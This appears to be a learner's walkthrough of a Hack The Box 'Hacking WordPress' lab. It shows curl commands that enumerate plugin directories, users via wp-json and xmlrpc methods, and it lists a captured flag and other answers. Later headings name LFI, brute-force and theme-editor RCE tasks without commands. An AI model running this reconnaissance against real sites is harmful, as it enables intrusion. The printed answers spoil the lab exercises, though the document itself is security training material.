HACKING WORDPRESS
DIRECTORY INDEXING
Keep in mind the key WordPress directories discussed in the WordPress Structure section. Manually enumerate the target for any directories whose contents can be listed. Browse these directories and locate a flag with the file name flag.txt and submit its contents as the answer.
#identify directories that can be listed
root@oco:~$ curl -s -X GET http://83.136.252.13:37931 | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/*' | cut -d"'" -f2
http://83.136.252.13:37931/wp-content/plugins/photo-gallery/css/bwg-fonts/fonts.css?ver=0.0.1
...
http://83.136.252.13:37931/wp-content/plugins/mail-masta/lib/css/mm_frontend.css?ver=5.1.6
#drill down
root@oco:~$ curl -s -X GET http://83.136.252.13:37931 | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
...
http://83.136.252.13:37931/wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=6.1
http://83.136.252.13:37931/wp-content/plugins/mail-masta/lib/css/mm_frontend.css?ver=5.1.6
root@oco:~$ curl -s -X GET http://83.136.252.13:37931 | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/mail-masta/*' | cut -d"'" -f2
http://83.136.252.13:37931/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.1.6
http://83.136.252.13:37931/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=5.1.6
http://83.136.252.13:37931/wp-content/plugins/mail-masta/lib/jquery.validationEngine.js?ver=5.1.6
http://83.136.252.13:37931/wp-content/plugins/mail-masta/lib/css/mm_frontend.css?ver=5.1.6
root@oco:~$ curl -s -X GET http://83.136.252.13:37931/wp-content/plugins/mail-masta/ | html2text
****** Index of /wp-content/plugins/mail-masta/ ******
===============================================================================
../
amazon_api/ 13-May-2020 18:54
-
inc/ 18-May-2020 10:28
-
lib/ 13-May-2020 18:54
-
plugin-interface.php 13-May-2020 18:54
90080
readme.txt 13-May-2020 18:54
2251
===============================================================================
root@oco:~$ curl -s -X GET http://83.136.252.13:37931/wp-content/plugins/mail-masta/inc/ | html2text | grep -i flag
flag.txt 18-May-2020 10:28
root@oco:~$ curl -s -X GET http://83.136.252.13:37931/wp-content/plugins/mail-masta/inc/flag.txt | html2text
HTB{3num3r4t10n_15_k3y}USER ENUMERATION
From the last cURL command, what user name is assigned to User ID 2?
root@oco:~$ curl http://blog.inlanefreight.com/wp-json/wp/v2/users | jq
[
{
"id": 1,
"name": "admin",
"url": "",
"description": "",
"link": "http://blog.inlanefreight.com/index.php/author/admin/",
<SNIP>
},
{
"id": 2,
"name": "ch4p",
"url": "",
"description": "",
"link": "http://blog.inlanefreight.com/index.php/author/ch4p/",
<SNIP>
},
<SNIP>LOGIN
Search for "WordPress xmlrpc attacks" and find out how to use it to execute all method calls. Enter the number of possible method calls of your target as the answer.
root@oco:~$ BROWSER > https://google.com
Search: WordPress xmlrpc attacks
- https://nitesculucian.github.io/2019/07/02/exploiting-the-xmlrpc-php-on-all-wordpress-versions/
root@htb:~$ curl -s -X GET {targetWPSite:port}/xmlrpc.php
XML-RPC server accepts POST requests only.
root@oco:~$ curl -X POST http://94.237.61.28:42108/xmlrpc.php -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>'
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
<value><string>mt.getTrackbackPings</string></value>
<value><string>mt.supportedTextFilters</string></value>
<value><string>mt.supportedMethods</string></value>
<value><string>mt.setPostCategories</string></value>
<value><string>mt.getPostCategories</string></value>
<value><string>mt.getRecentPostTitles</string></value>
<value><string>mt.getCategoryList</string></value>
<value><string>metaWeblog.getUsersBlogs</string></value>
...
</data></array>
</value>
</param>
</params>
</methodResponse>
root@htb:~$ curl -X POST http://94.237.61.28:42108/xmlrpc.php -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>' | grep -i \<value\>\<string | wc -l
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 4399 0 4272 100 127 24349 723 --:--:-- --:--:-- --:--:-- 25137
80WPSCAN ENUMERATION
Enumerate the provided WordPress instance for all installed plugins. Perform a scan with WPScan against the target and submit the version of the vulnerable plugin named “photo-gallery”.
EXPLOITING A VULNERABLE PLUGIN
Use the same LFI vulnerability against your target and read the contents of the "/etc/passwd" file. Locate the only non-root user on the system with a login shell.
ATTACKING WORDPRESS USERS
Perform a bruteforce attack against the user "roger" on your target with the wordlist "rockyou.txt". Submit the user's password as the answer.
REMOTE CODE EXECUTION (RCE) VIA THE THEME EDITOR
Last updated